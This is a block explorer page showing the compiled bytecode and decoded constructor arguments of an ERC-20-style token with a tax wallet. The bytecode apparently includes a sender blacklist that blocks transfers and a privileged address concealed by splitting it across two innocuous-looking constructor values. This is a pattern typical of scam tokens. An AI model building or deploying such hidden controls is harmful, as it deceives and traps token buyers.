0058110611212576112116129ad565b5b015411801561126e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156112c7575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b1561132b57600480600581106112e0576112df6129ad565b5b0154600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054111561132a575f80fd5b5b82600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055503073ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff161461140e578373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516114059190612609565b60405180910390a35b60019150509392505050565b7f000000000000000000000000000000000000000000000000000000000000000681565b5f7f382ce0b3149a124fe1ea1fd9d5ee6fcbc06f257d35e2d49af1f2db9b063e64b3905090565b60025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b600a602052805f5260405f205f915090505481565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161461152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612ca2565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff16600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f600e5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b600d602052805f5260405f205f915090505481565b6001805461160d90612886565b80601f016020809104026020016040519081016040528092919081815260200182805461163990612886565b80156116845780601f1061165b57610100808354040283529160200191611684565b820191905f5260205f20905b81548152906001019060200180831161166757829003601f168201915b505050505081565b60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60105481565b5f60011515600b5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16151503611711575f80fd5b81600a5f3373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825461175d9190612c25565b925050819055505f600460026005811061177a576117796129ad565b5b01541180156117d5575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b156117fd5760046002600581106117ef576117ee6129ad565b5b01548211156117fc575f80fd5b5b5f6004600160058110611813576118126129ad565b5b015411801561186e575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16145b80156118c7575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611978575f60046001600581106118e2576118e16129ad565b5b01546064846118f19190612bf5565b6118fb9190612b87565b905080600a5f60035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f828254019250508190555080836119749190612c25565b9250505b5f6004806005811061198d5761198c6129ad565b5b01541180156119e9575060025f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611a42575060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611aee57507f000000000000000000000000000000000000000000003391b9a154eec0146b3f69ffffffffffffffffffff1660507f0000000000000000000000000000000000000000000082ecc2ce666ada07947469ffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16901b1773ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611b5d5760048060058110611b0757611b066129ad565b5b015482600a5f8673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611b529190612424565b1115611b5c575f80fd5b5b81600a5f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f82825401925050819055503073ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611c40578273ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef84604051611c379190612609565b60405180910390a35b6001905092915050565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614611cd9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611cd090612ca2565b60405180910390fd5b600360149054906101000a900460ff16158015611d005750671bc16d674ec8000060105410155b611d08575f80fd5b6001600360146101000a81548160ff021916908315150217905550737a250d5630b4cf539739df2c5dacb4c659f2488d600f5f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff600c5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505f600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015611ea0573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611ec49190612cd4565b90508073ffffffffffffffffffffffffffffffffffffffff1663c9c6539630600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015611f4d573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611f719190612cd4565b6040518363ffffffff1660e01b8152600401611f8e929190612cff565b6020604051808303815f875af1158015611faa573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190611fce9190612cd4565b60025f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600f5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730600a5f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20545f8060035f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16426040518863ffffffff1660e01b81526004016120d096959493929190612d68565b60606040518083038185885af11580156120ec573d5f803e3d5ffd5b50505050506040513d601f19601f820116820180604052508101906121119190612dc7565b50505050565b42841015612123575f80fd5b5f600161212e61143e565b7f19272f7a68d74b33c77bd33c8335a1faf7b19f79ef84f4f54ff45c1ea7d8c2fd8a8a8a600d5f8f73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f815480929190600101919050558b6040516020016121b396959493929190612e17565b604051602081830303815290604052805190602001206040516020016121da929190612eea565b604051602081830303815290604052805190602001208585856040515f815260200160405260405161220f9493929190612f20565b6020604051602081039080840390855afa15801561222f573d5f803e3d5ffd5b5050506020604051035190505f73ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16141580156122a257508773ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff16145b6122aa575f80fd5b85600c5f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2081905550508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925876040516123859190612609565b60405180910390a350505050505050565b600c602052815f5260405f20602052805f5260405f205f91509150505481565b600360149054906101000a900460ff1681565b600e5f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f819050919050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f61242e826123ee565b9150612439836123ee565b9250828201905080821115612451576124506123f7565b5b92915050565b5f81519050919050565b5f82825260208201905092915050565b5f5b8381101561248e578082015181840152602081019050612473565b5f8484015250505050565b5f601f19601f8301169050919050565b5f6124b382612457565b6124bd8185612461565b93506124cd818560208601612471565b6124d681612499565b840191505092915050565b5f6020820190508181035f8301526124f981846124a9565b905092915050565b5f80fd5b5f73ffffffffffffffffffffffffffffffffffffffff82169050919050565b5f61252e82612505565b9050919050565b61253e81612524565b8114612548575f80fd5b50565b5f8135905061255981612535565b92915050565b612568816123ee565b8114612572575f80fd5b50565b5f813590506125838161255f565b92915050565b5f806040838503121561259f5761259e612501565b5b5f6125ac8582860161254b565b92505060206125bd85828601612575565b9150509250929050565b5f8115159050919050565b6125db816125c7565b82525050565b5f6020820190506125f45f8301846125d2565b92915050565b612603816123ee565b82525050565b5f60208201905061261c5f8301846125fa565b92915050565b5f805f6060848603121561263957612638612501565b5b5f6126468682870161254b565b93505060206126578682870161254b565b925050604061266886828701612575565b9150509250925092565b5f60ff82169050919050565b61268781612672565b82525050565b5f6020820190506126a05f83018461267e565b92915050565b5f819050919050565b6126b8816126a6565b82525050565b5f6020820190506126d15f8301846126af565b92915050565b6126e081612524565b82525050565b5f6020820190506126f95f8301846126d7565b92915050565b5f6020828403121561271457612713612501565b5b5f6127218482850161254b565b91505092915050565b61273381612672565b811461273d575f80fd5b50565b5f8135905061274e8161272a565b92915050565b61275d816126a6565b8114612767575f80fd5b50565b5f8135905061277881612754565b92915050565b5f805f805f805f60e0888a03121561279957612798612501565b5b5f6127a68a828b0161254b565b97505060206127b78a828b0161254b565b96505060406127c88a828b01612575565b95505060606127d98a828b01612575565b94505060806127ea8a828b01612740565b93505060a06127fb8a828b0161276a565b92505060c061280c8a828b0161276a565b91505092959891949750929550565b5f806040838503121561283157612830612501565b5b5f61283e8582860161254b565b925050602061284f8582860161254b565b9150509250929050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52602260045260245ffd5b5f600282049050600182168061289d57607f821691505b6020821081036128b0576128af612859565b5b50919050565b5f815190506128c48161255f565b92915050565b5f602082840312156128df576128de612501565b5b5f6128ec848285016128b6565b91505092915050565b5f6040820190506129085f8301856126d7565b61291560208301846125fa565b9392505050565b612925816125c7565b811461292f575f80fd5b50565b5f815190506129408161291c565b92915050565b5f6020828403121561295b5761295a612501565b5b5f61296884828501612932565b91505092915050565b5f61297b82612672565b915061298683612672565b925082820261299481612672565b91508082146129a6576129a56123f7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52603260045260245ffd5b5f6129e482612672565b91506129ef83612672565b9250828201905060ff811115612a0857612a076123f7565b5b92915050565b5f8160011c9050919050565b5f808291508390505b6001851115612a6357808604811115612a3f57612a3e6123f7565b5b6001851615612a4e5780820291505b8081029050612a5c85612a0e565b9450612a23565b94509492505050565b5f82612a7b5760019050612b36565b81612a88575f9050612b36565b8160018114612a9e5760028114612aa857612ad7565b6001915050612b36565b60ff841115612aba57612ab96123f7565b5b8360020a915084821115612ad157612ad06123f7565b5b50612b36565b5060208310610133831016604e8410600b8410161715612b0c5782820a905083811115612b0757612b066123f7565b5b612b36565b612b198484846001612a1a565b92509050818404811115612b3057612b2f6123f7565b5b81810290505b9392505050565b5f612b47826123ee565b9150612b52836123ee565b9250612b7f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484612a6c565b905092915050565b5f612b91826123ee565b9150612b9c836123ee565b9250828202612baa816123ee565b91508282048414831517612bc157612bc06123f7565b5b5092915050565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601260045260245ffd5b5f612bff826123ee565b9150612c0a836123ee565b925082612c1a57612c19612bc8565b5b828204905092915050565b5f612c2f826123ee565b9150612c3a836123ee565b9250828203905081811115612c5257612c516123f7565b5b92915050565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65725f82015250565b5f612c8c602083612461565b9150612c9782612c58565b602082019050919050565b5f6020820190508181035f830152612cb981612c80565b9050919050565b5f81519050612cce81612535565b92915050565b5f60208284031215612ce957612ce8612501565b5b5f612cf684828501612cc0565b91505092915050565b5f604082019050612d125f8301856126d7565b612d1f60208301846126d7565b9392505050565b5f819050919050565b5f819050919050565b5f612d52612d4d612d4884612d26565b612d2f565b6123ee565b9050919050565b612d6281612d38565b82525050565b5f60c082019050612d7b5f8301896126d7565b612d8860208301886125fa565b612d956040830187612d59565b612da26060830186612d59565b612daf60808301856126d7565b612dbc60a08301846125fa565b979650505050505050565b5f805f60608486031215612dde57612ddd612501565b5b5f612deb868287016128b6565b9350506020612dfc868287016128b6565b9250506040612e0d868287016128b6565b9150509250925092565b5f60c082019050612e2a5f8301896126af565b612e3760208301886126d7565b612e4460408301876126d7565b612e5160608301866125fa565b612e5e60808301856125fa565b612e6b60a08301846125fa565b979650505050505050565b5f81905092915050565b7f19010000000000000000000000000000000000000000000000000000000000005f82015250565b5f612eb4600283612e76565b9150612ebf82612e80565b600282019050919050565b5f819050919050565b612ee4612edf826126a6565b612eca565b82525050565b5f612ef482612ea8565b9150612f008285612ed3565b602082019150612f108284612ed3565b6020820191508190509392505050565b5f608082019050612f335f8301876126af565b612f40602083018661267e565b612f4d60408301856126af565b612f5a60608301846126af565b9594505050505056fea26469706673582212204e200dc7616bfc95f47bbf3445c24ad82ed58924b5d555998ce2f6906b178e6764736f6c63430008150033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

000000000000000000000000000000000000000000003391b9a154eec0146b3f000000000000000000000000acd3001fae1f271a7eaf5bdee802170a2ceb30c10000000000000000000000000000000000000000000082ecc2ce666ada079474

-----Decoded View---------------
Arg [0] : _sig (uint80): 243528844582792459479871
Arg [1] : _taxWallet (address): 0xacD3001FAe1F271a7eaf5BdeE802170a2CEb30c1
Arg [2] : _brand (uint80): 618275111644147002872948

-----Encoded View---------------
3 Constructor Arguments found :
Arg [0] : 000000000000000000000000000000000000000000003391b9a154eec0146b3f
Arg [1] : 000000000000000000000000acd3001fae1f271a7eaf5bdee802170a2ceb30c1
Arg [2] : 0000000000000000000000000000000000000000000082ecc2ce666ada079474


Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.